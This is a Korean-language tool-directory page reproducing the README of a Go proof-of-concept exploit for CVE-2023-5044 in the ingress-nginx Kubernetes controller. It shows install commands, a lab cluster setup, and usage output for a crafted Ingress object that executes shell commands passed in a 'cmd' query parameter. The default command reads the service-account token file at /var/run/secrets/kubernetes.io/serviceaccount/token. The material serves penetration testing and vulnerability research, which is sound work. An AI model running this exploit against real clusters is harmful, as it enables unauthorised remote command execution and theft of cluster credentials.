Skip to content
KitploitKITPLOIT
도구블로그
Log in
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2023-5044 — Go 기반의 CVE-2023-5044 ingress-nginx PoC 익스플로잇으로, 조작된 Kubernetes Ingress 객체를 생성하여 인증된 원격 명령 실행을 가능하게 합니다. | Kitploit
도구/GitHubGitHub/4armed/cve-2023-5044
Container SecurityVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCloud SecurityCommand and ControlRed Teaming
GitHub4armed/cve-2023-5044

cve-2023-5044

Go 기반의 CVE-2023-5044 ingress-nginx PoC 익스플로잇으로, 조작된 Kubernetes Ingress 객체를 생성하여 인증된 원격 명령 실행을 가능하게 합니다.

저장소 보기
2192년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2023-5044 Ingress Nginx 익스플로잇 개념 증명

이것은 Ingress Nginx 컨트롤러의 최근 CVE를 익스플로잇하는 빠른 Go 프로그램입니다.

이 방법에 대한 자세한 내용은 Rory McCune의 블로그(https://raesene.github.io/blog/2023/10/29/exploiting-CVE-2023-5044/)에서 이미 확인할 수 있으며, 이 도구는 프로세스를 약간 자동화하고 익스플로잇을 정리하여 더 유연하고 일반적인 원격 코드 실행 페이로드로 만듭니다.

설치

% go install github.com/4armed/cve-2023-5044@latest

테스트 클러스터

실행하려면 취약한 버전의 ingress-nginx를 실행하는 클러스터가 필요합니다. 테스트할 클러스터가 없다면 이 리포지토리를 클론하고 deploy 폴더에 있는 Makefile을 사용하여 Kind 클러스터를 생성할 수 있습니다.

% git clone github.com/4armed/cve-2023-5044
% cd cve-2023-5044/deploy && make up

kind.yaml 파일을 그대로 두면 포트 30080과 30443에서 localhost에 바인딩된 클러스터가 생성됩니다.

사용법

% cve-2023-5044 run -u http://localhost:30080
2024/01/17 14:10:48 INFO checking permissions
2024/01/17 14:10:48 INFO created ingress object namespace=default name=forearmed-poc-hm48l
2024/01/17 14:10:48 INFO exploit at http://localhost:30080/4armed?cmd=cat+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken"

"checking permissions" 줄은 도구가 Subject Access Review를 수행하여 인그레스를 생성할 권한이 있는지 확인하기 때문입니다. 권한이 없으면 해당 시점에서 종료됩니다. 기존 인그레스에 대한 편집 권한이 있다면 익스플로잇을 사용하여 침해를 달성할 수 있지만, 기존 인그레스를 업데이트하는 것은 복잡하여 무언가를 망가뜨리지 않고 자동화하기에는 너무 복잡합니다.

익스플로잇을 트리거하는 기본 경로는 /4armed이며, cmd 쿼리 문자열 매개변수의 값을 읽고 실행합니다.

기본 명령어 cat /var/run/secrets/kubernetes.io/serviceaccount/token을 포함한 예제 URL을 출력합니다. -e 플래그를 사용하여 변경하거나 cmd 매개변수에 다른 값을 제공하면 됩니다. 익스플로잇은 하드코딩되지 않았습니다. 새로운 인그레스를 배포할 필요가 없습니다.

%  curl 'http://localhost:30080/4armed?cmd=id'
uid=101(www-data) gid=82(www-data)

인그레스 객체 이름은 GenerateName을 사용하여 무작위화되므로 출력에 주의하고 사용 후 정리하세요.

% kubectl delete ingress forearmed-poc-hm48l
ingress.networking.k8s.io "forearmed-poc-hm48l" deleted

인그레스 객체만 생성하려면 다음을 사용하세요:

% cve-2023-5044 generate

면책 조항

이것은 귀하가 권한을 보유한 클러스터에 대해서만 테스트 목적으로 사용됩니다. 권한 유무에 관계없이 클러스터에 대해 사용할 경우, 발생하는 모든 손해나 문제에 대해 저자는 책임을 지지 않습니다. 기존 경로와 충돌하지 않는 경로 값을 선택하는 데 세심한 주의를 기울였으며, 필요에 따라 플래그로 재정의하거나 코드를 변경할 수 있지만 여전히 문제가 발생할 수 있습니다. 자신이 무엇을 하고 있는지 반드시 확인하십시오.

도구 다운로드